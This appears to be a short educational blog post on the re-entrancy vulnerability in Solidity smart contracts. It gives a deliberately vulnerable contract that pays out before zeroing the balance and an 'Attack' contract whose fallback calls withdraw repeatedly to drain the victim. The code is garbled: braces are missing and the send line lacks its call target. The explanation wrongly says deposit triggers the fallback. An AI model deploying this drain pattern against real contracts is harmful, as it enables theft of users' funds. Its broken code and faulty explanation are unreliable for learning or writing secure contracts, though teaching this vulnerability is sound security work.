Photo by Max Bender on Unsplash

Smart contracts vulnerability explained : Re-entrancy

Simon Busch
Published in
2 min readFeb 16, 2023


Re-entrancy is a type of vulnerability that can occur in smart contracts, particularly those that interact with external contracts or resources. It occurs when a contract calls an external contract and then calls back into itself before the external contract has finished executing. This can create an infinite loop, potentially allowing an attacker to drain the contract's balance.

This is an example of a smart contract that is vulnerable to re-entrancy attacks:

pragma solidity ^0.8.0;

contract Vulnerable {
mapping(address => uint) public balances;

function deposit() public payable {
balances[msg.sender] += msg.value;

function withdraw() public {
// 1
uint bal = balances[msg.sender];
require(bal > 0);
// 2
(bool sent, ) ={value: bal}("");
require(sent, "Failed to send Ether");
// 3
balances[msg.sender] = 0;
  1. Here, we can see that the function checks if the caller has sufficient balance to make the transfer.
  2. If they do, the function makes a call to msg.sender.
  3. It sets the balance of msg.sender to 0.

Let’s consider this malicious contract:

contract Attack {
Vulnerable public vulnerable;

constructor(address _vulnerableAddress) {
vulnerable = Vulnerable(_vulnerableAddress);

fallback() external payable {
if (address(vulnerable).balance >= 1 ether) {
vulnerable.withdraw(); // 3- .. X ?

function attack() external payable {
require(msg.value >= 1 ether); // 1
vulnerable.deposit{value: 1 ether}(); // 2
vulnerable.withdraw(); // LAST


Once we instantiate this contract, we pass it t he address of the target vulnerable contract.

In the attack function,

  1. we will pass 1 ether,
  2. that will call the deposit function, and actually,
  3. before calling vulnerable.withdraw(), the function deposit will trigger the fallback and call withdraw. That will actually create a loop and as long as there is a balance ≥ 1 ether, it will trigger again and again the fallback function.



Simon Busch

Full Stack JS/TS @code4rena building the future of smart contract auditing. Solidity/blockchain security learner 🚀